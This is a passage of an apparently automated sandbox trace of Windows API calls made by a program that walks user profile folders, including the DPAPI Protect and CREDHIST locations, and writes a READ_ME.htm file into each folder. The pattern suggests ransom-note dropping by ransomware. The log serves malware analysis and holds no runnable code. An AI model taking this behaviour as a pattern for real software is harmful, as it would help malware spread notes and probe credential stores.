cFileName="Windows Explorer.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 1 [0143.559] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62b0b780, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b0b780, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x2e24b3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0143.559] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62b0b780, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b0b780, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x2e24b3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0143.559] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.560] SetErrorMode (uMode=0x0) returned 0x1 [0143.560] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", nBufferLength=0x105, lpBuffer=0x21cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpFilePart=0x0) returned 0x5d [0143.560] SetErrorMode (uMode=0x1) returned 0x0 [0143.560] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\*"), lpFindFileData=0x21ce30 | out: lpFindFileData=0x21ce30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b7dba0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x123526f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.561] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b7dba0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x123526f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.562] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62b57a40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b57a40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x123526f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0143.562] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62b57a40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b57a40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x921e7f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x5a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer.lnk", cAlternateFileName="INTERN~1.LNK")) returned 1 [0143.562] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62b0b780, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b0b780, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7dfa026d, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Explorer.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 1 [0143.562] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62b0b780, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b0b780, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x2e24b3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0143.562] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62b0b780, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b0b780, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x2e24b3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0143.562] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.563] SetErrorMode (uMode=0x0) returned 0x1 [0143.563] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cb30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\READ_ME.htm", lpFilePart=0x0) returned 0x69 [0143.563] SetErrorMode (uMode=0x1) returned 0x0 [0143.563] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.564] GetFileType (hFile=0x1d0) returned 0x1 [0143.564] SetErrorMode (uMode=0x0) returned 0x1 [0143.564] GetFileType (hFile=0x1d0) returned 0x1 [0143.564] WriteFile (in: hFile=0x1d0, lpBuffer=0x29e63f8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d098, lpOverlapped=0x0 | out: lpBuffer=0x29e63f8*, lpNumberOfBytesWritten=0x21d098*=0x720, lpOverlapped=0x0) returned 1 [0143.566] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\READ_ME.htm", lpFilePart=0x0) returned 0x61 [0143.566] SetErrorMode (uMode=0x1) returned 0x0 [0143.566] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.566] GetFileType (hFile=0x1d0) returned 0x1 [0143.566] SetErrorMode (uMode=0x0) returned 0x1 [0143.566] GetFileType (hFile=0x1d0) returned 0x1 [0143.566] WriteFile (in: hFile=0x1d0, lpBuffer=0x29eaa48*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x29eaa48*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0143.568] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\READ_ME.htm", lpFilePart=0x0) returned 0x55 [0143.568] SetErrorMode (uMode=0x1) returned 0x0 [0143.568] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.568] GetFileType (hFile=0x1d0) returned 0x1 [0143.568] SetErrorMode (uMode=0x0) returned 0x1 [0143.568] GetFileType (hFile=0x1d0) returned 0x1 [0143.568] WriteFile (in: hFile=0x1d0, lpBuffer=0x29ef068*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x29ef068*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0143.570] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\READ_ME.htm", lpFilePart=0x0) returned 0x48 [0143.570] SetErrorMode (uMode=0x1) returned 0x0 [0143.570] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.570] GetFileType (hFile=0x1d0) returned 0x1 [0143.570] SetErrorMode (uMode=0x0) returned 0x1 [0143.570] GetFileType (hFile=0x1d0) returned 0x1 [0143.570] WriteFile (in: hFile=0x1d0, lpBuffer=0x29f3658*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x29f3658*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0143.572] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect", lpFilePart=0x0) returned 0x32 [0143.572] SetErrorMode (uMode=0x1) returned 0x0 [0143.572] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b0b780, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf29f8e64, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.589] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b0b780, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf29f8e64, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.589] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x62b0b780, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b0b780, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf29f8e64, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="CREDHIST", cAlternateFileName="")) returned 1 [0143.589] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b0b780, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3111613574-2524581245-2586426736-500", cAlternateFileName="S-1-5-~1")) returned 1 [0143.589] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b0b780, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3111613574-2524581245-2586426736-500", cAlternateFileName="S-1-5-~1")) returned 0 [0143.590] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.590] SetErrorMode (uMode=0x0) returned 0x1 [0143.590] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect", lpFilePart=0x0) returned 0x32 [0143.591] SetErrorMode (uMode=0x1) returned 0x0 [0143.591] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b0b780, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf29f8e64, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.591] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b0b780, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf29f8e64, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.591] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x62b0b780, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b0b780, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf29f8e64, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="CREDHIST", cAlternateFileName="")) returned 1 [0143.591] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b0b780, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3111613574-2524581245-2586426736-500", cAlternateFileName="S-1-5-~1")) returned 1 [0143.591] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b0b780, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3111613574-2524581245-2586426736-500", cAlternateFileName="S-1-5-~1")) returned 0 [0143.592] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.592] SetErrorMode (uMode=0x0) returned 0x1 [0143.592] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500", lpFilePart=0x0) returned 0x60 [0143.592] SetErrorMode (uMode=0x1) returned 0x0 [0143.592] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b0b780, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.596] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b0b780, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.597] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x62b0b780, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b0b780, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2b9bd87, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", cAlternateFileName="BE5B4F~1")) returned 1 [0143.597] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x62b0b780, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b0b780, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Preferred", cAlternateFileName="PREFER~1")) returned 1 [0143.597] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x62b0b780, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b0b780, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Preferred", cAlternateFileName="PREFER~1")) returned 0 [0143.597] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.598] SetErrorMode (uMode=0x0) returned 0x1 [0143.598] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500", lpFilePart=0x0) returned 0x60 [0143.598] SetErrorMode (uMode=0x1) returned 0x0 [0143.598] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b0b780, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.600] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b0b780, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.600] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x62b0b780, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b0b780, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2b9bd87, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", cAlternateFileName="BE5B4F~1")) returned 1 [0143.600] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x62b0b780, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b0b780, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Preferred", cAlternateFileName="PREFER~1")) returned 1 [0143.600] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x62b0b780, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b0b780, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Preferred", cAlternateFileName="PREFER~1")) returned 0 [0143.600] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.601] SetErrorMode (uMode=0x0) returned 0x1 [0143.601] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\READ_ME.htm", lpFilePart=0x0) returned 0x6c [0143.601] SetErrorMode (uMode=0x1) returned 0x0 [0143.601] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.603] SetErrorMode (uMode=0x0) returned 0x1 [0143.604] GetFileType (hFile=0x1d0) returned 0x1 [0143.604] WriteFile (in: hFile=0x1d0, lpBuffer=0x29fc3c0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x29fc3c0*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0143.605] GetFullPathNameW (in: 